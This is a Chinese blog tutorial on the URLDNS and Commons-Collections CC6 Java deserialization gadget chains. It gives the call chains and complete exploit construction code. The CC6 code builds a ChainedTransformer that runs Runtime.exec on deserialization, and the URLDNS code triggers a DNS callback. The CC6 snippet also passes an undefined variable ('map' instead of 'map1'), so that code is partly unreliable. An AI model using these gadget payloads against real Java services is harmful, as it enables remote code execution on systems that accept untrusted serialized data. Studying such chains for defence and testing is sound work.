最好用的两条链

为什么说这URLDNS和CC6两条链比较常用呢?

这是因为其他链条在高版本的jdk没法利用或者是利用条件很苛刻,或者还有一些依赖上的限制。总的来说这是比较好用的两条链。

下面我们简单看看这两条链。这里不会像之前CC1那样一步一步分析,主要还是像体现一些细节。

URLDNS

在URLDNS里,其实真正能发起DNS请求的就两个函数一个hashcode,一个equals

调用链:

1
2
3
4
5
6
7
8
HashMap.readObject()
*HashMap.put()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

带上图(图的顺序是按链条的反方向)

图流程分析:

image-20230911182016088

image-20230911182252319

image-20230911182415368

image-20230911182508305

关键字key都已经出现了,这个也比较简单,后面就不看了。

利用构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//初始化Map
HashMap<Object,Object> map = new HashMap<Object,Object>();
//创建url对象
URL url = new URL("http://yuanyi.dnslog");
//因为要修改URL中的hashCode,避免在put的时候就发出dnslog请求。
//获取URL的Class对象
Class urlClass = url.getClass();
//获取被保护的hashCode
Field hashCode = urlClass.getDeclaredField("hashCode");
//设置为可访问
hashCode.setAccessible(true);
//将url的hashCode设置为666
hashCode.set(url,666);
//将hashcode为666的url放入,因为不等于-1所以不会执行key.hashcode()
map.put(url,null);
//将url的hashCode设置为-1。为后续反序列化调用key.hashcode()做铺垫
hashCode.set(url,-1);

serialize(map);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

CC6

调用链:

1
2
3
4
5
6
7
HashSet.readObject()/HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()

两个入口点,我们直接选择HashMap.readObject()作为入口点。

带上图(图的顺序是按链条的反方向)

图流程分析:

image-20230911164838948

image-20230911165639391

image-20230911170222137

image-20230911170423536

image-20230911170829704

image-20230911171508642

image-20230911171107380

image-20230911171647154

利用构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public class CC6_test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException, IOException {
//这个跟CC1一样,不会的小伙伴可以看我之前CC1的文章。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
/*这里之所以先创建一个假的(没有数据的)chainedTransformer是因为
如果我们直接将真的(带有数据的)chainedTransformer放入LazyMap中再到TiedMapEntry
那么在后续序列化的时候会调用到TiedMapEntry.hashCode,那么再反序列化就不会再执行了
跟URLDNS要修改hashcode其实是一个道理*/
ChainedTransformer fake_chainedTransformer = new ChainedTransformer(new Transformer[]{});
//初始化MAP
HashMap<Object, Object> map1 = new HashMap<>();
//创建LazyMap,并引入到TiedMapEntry
Map<Object,Object> lazymap = LazyMap.decorate(map, fake_chainedTransformer);
Map.Entry mapEntry = new TiedMapEntry(lazymap, Runtime.class);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(mapEntry,"adad");

//利用反射再把ChainedTransformer中的Transformers改回真的。
Class c = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(fake_chainedTransformer,transformers);
//清空由于 hashmap 对 LazyMap 造成的影响
lazymap.clear();

serialize(map2);
unserialize("ser.bin");

}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

最好用的两条链
http://example.com/2023/09/11/最喜欢的两条链/
作者
Yuanyi
发布于
2023年9月11日
许可协议